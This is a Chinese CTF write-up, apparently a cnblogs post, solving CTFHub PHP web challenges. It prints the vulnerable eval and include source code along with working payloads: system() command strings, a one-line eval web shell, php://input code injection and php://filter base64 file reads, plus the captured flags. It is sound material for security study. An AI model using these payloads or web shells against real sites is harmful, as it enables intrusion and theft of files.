zoukankan      html  css  js  c++  java
  • CTFHub

    eval执行:

    1.进入网页,显示源码,

     <?php
    if (isset($_REQUEST['cmd'])) {
        eval($_REQUEST["cmd"]);
    } else {
        highlight_file(__FILE__);
    }
    ?> 

    2.输入命令,发现该文件并不是想要的,

    cmd=system("ls");

    3.继续查看目录命令,

    cmd=system("ls /");

    4.查看,得到flag,

    cmd=system("cat /flag_8822");

    flag:

    ctfhub{d593f41b1b07b3eba2ff5d5419272766ef47c8c6} 

    文件包含:

    1.进入题目,源码如下,

    <?php
    error_reporting(0);
    if (isset($_GET['file'])) {
        if (!strpos($_GET["file"], "flag")) {
            include $_GET["file"];
        } else {
            echo "Hacker!!!";
        }
    } else {
        highlight_file(__FILE__);
    }
    ?>

    2.点击查看shell,

    <?php eval($_REQUEST['ctfhub']);?>

    3.构造payload,

    file=shell.txt
    POST:ctfhub=system("ls ");

    4.发现没有需要的文件,查看根目录,

    file=shell.txt
    POST:ctfhub=system("ls /");

    5.查看flag,得到flag,

    file=shell.txt
    POST:ctfhub=system("cat /flag");

    flag:

    ctfhub{134dc84eb445a2d35c7c7f2d005a93149bcd3aae} 

    补充:

    strpos()函数:
    查找字符串在另一字符串中第一次出现的位置(区分大小写) 
    strpos("You love php, I love php too!","php");

    php://input:

    1.进入页面,源码如下,

    <?php
    if (isset($_GET['file'])) {
        if ( substr($_GET["file"], 0, 6) === "php://" ) {
            include($_GET["file"]);
        } else {
            echo "Hacker!!!";
        }
    } else {
        highlight_file(__FILE__);
    }
    ?>

    2.使用php://input来构造发送的指令,

    3.构造,

    ?file=php://input
    POST:<?php system("ls /");?>

    4.查看flag目录,得到flag,

    ?file=php://input
    POST:<?php system("cat /flag_27046");?>

    flag:

    ctfhub{3d3a294472cbaaf5f60d3639da8a1c75e0144bbb}

    读取源代码:

    1.进入题目,分析源码,

    <?php
    error_reporting(E_ALL);
    if (isset($_GET['file'])) {
        if ( substr($_GET["file"], 0, 6) === "php://" ) {
            include($_GET["file"]);
        } else {
            echo "Hacker!!!";
        }
    } else {
        highlight_file(__FILE__);
    }
    ?>

    2.题目告诉了flag所在位置,考虑使用php伪协议中的filter协议直接提取出flag的内容,得到base64编码后的flag,解码即可得到flag,(或者直接)

    ?file=php://filter/read=convert.base64-encode/resource=/flag

    ?file=php://filter/resource=/flag

    flag:

    ctfhub{1036f894cefc1ca00066d256b6c32f0537890711}

    远程包含:

    1.进入页面,查看源码,

    <?php
    error_reporting(0);
    if (isset($_GET['file'])) {
        if (!strpos($_GET["file"], "flag")) {
            include $_GET["file"];
        } else {
            echo "Hacker!!!";
        }
    } else {
        highlight_file(__FILE__);
    }
    ?>

    2.从phpinfo()可以看到根目录,

    3.利用POST查看目录,

    4.查看/flag得到flag,

    flag:

    ctfhub{adb12467085aa372958627a7a841bf39687022b5}
  • 相关阅读:
    mapbox-gl开发:deck.gl轨迹图效果
    vscode双击选中单词,设置短横线不分隔
    CSS自定义滚动条样式,兼容IE浏览器
    flv 视频播放器
    mapbox、echarts实现地图流动效果
    echarts 小时图
    deckgl-triplayer流动效果
    vue使用flv视频监控组件
    qt学习中遇到的问题及处理方法
    GitHub入门
  • 原文地址:https://www.cnblogs.com/3cH0-Nu1L/p/13817813.html
Copyright © 2011-2022 走看看